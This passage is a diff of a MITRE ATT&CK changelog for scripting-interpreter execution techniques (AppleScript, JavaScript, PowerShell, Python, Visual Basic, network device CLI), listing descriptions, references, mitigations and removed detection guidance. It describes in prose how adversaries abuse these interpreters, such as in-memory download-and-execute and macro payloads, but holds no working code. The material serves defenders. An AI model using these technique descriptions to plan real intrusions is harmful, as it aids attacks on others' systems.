+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:39.348000+00:00\", \"old_value\": \"2025-04-15 19:58:22.484000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for execution of AppleScript through osascript and usage of the NSAppleScript and OSAScript APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\\n\\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for execution of AppleScript through osascript and usage of the NSAppleScript and OSAScript APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\\n-\\n-Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [
+ "M1038: Execution Prevention",
+ "M1045: Code Signing"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0414: Detection of AppleScript-Based Execution on macOS"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-06-23 19:12:24.924000+00:00",
+ "modified": "2025-10-24 17:48:24.217000+00:00",
+ "name": "JavaScript",
+ "description": "Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)\n\nJScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple\u2019s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple\u2019s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple\u2019s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)\n\nAdversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "execution"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1059/007",
+ "external_id": "T1059.007"
+ },
+ {
+ "source_name": "Apple About Mac Scripting 2016",
+ "description": "Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021.",
+ "url": "https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html"
+ },
+ {
+ "source_name": "MDSec macOS JXA and VSCode",
+ "description": "Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021.",
+ "url": "https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/"
+ },
+ {
+ "source_name": "Microsoft JScript 2007",
+ "description": "Microsoft. (2007, August 15). The World of JScript, JavaScript, ECMAScript \u2026. Retrieved June 23, 2020.",
+ "url": "https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript"
+ },
+ {
+ "source_name": "Microsoft Windows Scripts",
+ "description": "Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved June 23, 2020.",
+ "url": "https://docs.microsoft.com/scripting/winscript/windows-script-interfaces"
+ },
+ {
+ "source_name": "JScrip May 2018",
+ "description": "Microsoft. (2018, May 31). Translating to JScript. Retrieved June 23, 2020.",
+ "url": "https://docs.microsoft.com/windows/win32/com/translating-to-jscript"
+ },
+ {
+ "source_name": "NodeJS",
+ "description": "OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020.",
+ "url": "https://nodejs.org/"
+ },
+ {
+ "source_name": "SentinelOne macOS Red Team",
+ "description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.",
+ "url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/"
+ },
+ {
+ "source_name": "SpecterOps JXA 2020",
+ "description": "Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021.",
+ "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5"
+ },
+ {
+ "source_name": "Red Canary Silver Sparrow Feb2021",
+ "description": "Tony Lambert. (2021, February 18). Clipping Silver Sparrow\u2019s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021.",
+ "url": "https://redcanary.com/blog/clipping-silver-sparrows-wings/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Cody Thomas, SpecterOps"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_remote_support": false,
+ "x_mitre_version": "2.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Process: Process Creation\", \"Script: Script Execution\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:24.217000+00:00\", \"old_value\": \"2025-04-15 22:43:16.394000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.\\n\\nMonitor for execution of JXA through osascript and usage of OSAScript API that may be related to other suspicious behavior occurring on the system.\\n\\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.\\n-\\n-Monitor for execution of JXA through osascript and usage of OSAScript API that may be related to other suspicious behavior occurring on the system.\\n-\\n-Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\"}}}",
+ "previous_version": "2.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1021: Restrict Web-Based Content",
+ "M1038: Execution Prevention",
+ "M1040: Behavior Prevention on Endpoint",
+ "M1042: Disable or Remove Feature or Program"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0011: Module (Module Load)",
+ "DS0012: Script (Script Execution)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0264: Cross-Platform Detection of JavaScript Execution Abuse"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--818302b2-d640-477b-bf88-873120ce85c4",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-20 00:09:33.072000+00:00",
+ "modified": "2025-10-24 17:49:02.287000+00:00",
+ "name": "Network Device CLI",
+ "description": "Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "execution"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1059/008",
+ "external_id": "T1059.008"
+ },
+ {
+ "source_name": "Cisco IOS Software Integrity Assurance - Command History",
+ "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.",
+ "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23"
+ },
+ {
+ "source_name": "Cisco Synful Knock Evolution",
+ "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
+ "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Network Devices"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:02.287000+00:00\", \"old_value\": \"2025-04-16 20:37:18.015000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History)\\n\\nConsider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History)\\n-\\n-Consider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1026: Privileged Account Management",
+ "M1038: Execution Prevention"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0142: Behavioral Detection of CLI Abuse on Network Devices"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-09 13:48:55.078000+00:00",
+ "modified": "2025-10-24 17:49:07.660000+00:00",
+ "name": "PowerShell",
+ "description": "Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "execution"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1059/001",
+ "external_id": "T1059.001"
+ },
+ {
+ "source_name": "Microsoft PSfromCsharp APR 2014",
+ "description": "Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019.",
+ "url": "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/"
+ },
+ {
+ "source_name": "SilentBreak Offensive PS Dec 2015",
+ "description": "Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018.",
+ "url": "https://web.archive.org/web/20190508170150/https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/"
+ },
+ {
+ "source_name": "FireEye PowerShell Logging 2016",
+ "description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.",
+ "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html"
+ },
+ {
+ "source_name": "Github PSAttack",
+ "description": "Haight, J. (2016, April 21). PS>Attack. Retrieved September 27, 2024.",
+ "url": "https://github.com/Exploit-install/PSAttack-1"
+ },
+ {
+ "source_name": "inv_ps_attacks",
+ "description": "Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021.",
+ "url": "https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/"
+ },
+ {
+ "source_name": "Malware Archaeology PowerShell Cheat Sheet",
+ "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
+ "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"
+ },
+ {
+ "source_name": "TechNet PowerShell",
+ "description": "Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.",
+ "url": "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx"
+ },
+ {
+ "source_name": "Sixdub PowerPick Jan 2016",
+ "description": "Warner, J.. (2015, January 6). Inexorable PowerShell \u2013 A Red Teamer\u2019s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018.",
+ "url": "https://web.archive.org/web/20160327101330/http://www.sixdub.net/?p=367"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Mayuresh Dani, Qualys",
+ "Praetorian",
+ "Ross Brittain"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_remote_support": false,
+ "x_mitre_version": "1.5",
+ "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Script: Script Execution\", \"Process: Process Creation\", \"Process: Process Metadata\", \"Command: Command Execution\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:07.660000+00:00\", \"old_value\": \"2025-04-15 19:58:52.378000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\\n\\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\\n\\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\\n\\nConsider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the EngineVersion field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the HostName field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks)\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\\n-\\n-Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\\n-\\n-It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\\n-\\n-Consider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the EngineVersion field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the HostName field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks)\"}}}",
+ "previous_version": "1.5",
+ "changelog_mitigations": {
+ "shared": [
+ "M1026: Privileged Account Management",
+ "M1038: Execution Prevention",
+ "M1042: Disable or Remove Feature or Program",
+ "M1045: Code Signing",
+ "M1049: Antivirus/Antimalware"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0009: Process (Process Metadata)",
+ "DS0011: Module (Module Load)",
+ "DS0012: Script (Script Execution)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0455: Abuse of PowerShell for Arbitrary Execution"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-09 14:38:24.334000+00:00",
+ "modified": "2025-10-24 17:49:23.660000+00:00",
+ "name": "Python",
+ "description": "Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.(Citation: Zscaler APT31 Covid-19 October 2020)\n\nPython comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "execution"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1059/006",
+ "external_id": "T1059.006"
+ },
+ {
+ "source_name": "Zscaler APT31 Covid-19 October 2020",
+ "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021.",
+ "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "ESXi",
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_remote_support": false,
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:23.660000+00:00\", \"old_value\": \"2025-04-15 19:59:08.245000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\\n\\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\\n-\\n-Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1033: Limit Software Installation",
+ "M1038: Execution Prevention",
+ "M1047: Audit",
+ "M1049: Antivirus/Antimalware"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0063: Cross-Platform Behavioral Detection of Python Execution"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-09 14:29:51.508000+00:00",
+ "modified": "2025-10-24 17:49:29.678000+00:00",
+ "name": "Visual Basic",
+ "description": "Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: Default VBS macros Blocking )",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "execution"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1059/005",
+ "external_id": "T1059.005"
+ },
+ {
+ "source_name": "VB .NET Mar 2020",
+ "description": ".NET Team. (2020, March 11). Visual Basic support planned for .NET 5.0. Retrieved June 23, 2020.",
+ "url": "https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/"
+ },
+ {
+ "source_name": "Default VBS macros Blocking ",
+ "description": "Kellie Eickmeyer. (2022, February 7). Helping users stay safe: Blocking internet macros by default in Office. Retrieved February 7, 2022.",
+ "url": "https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805"
+ },
+ {
+ "source_name": "Microsoft VBScript",
+ "description": "Microsoft. (2011, April 19). What Is VBScript?. Retrieved March 28, 2020.",
+ "url": "https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)"
+ },
+ {
+ "source_name": "Microsoft VBA",
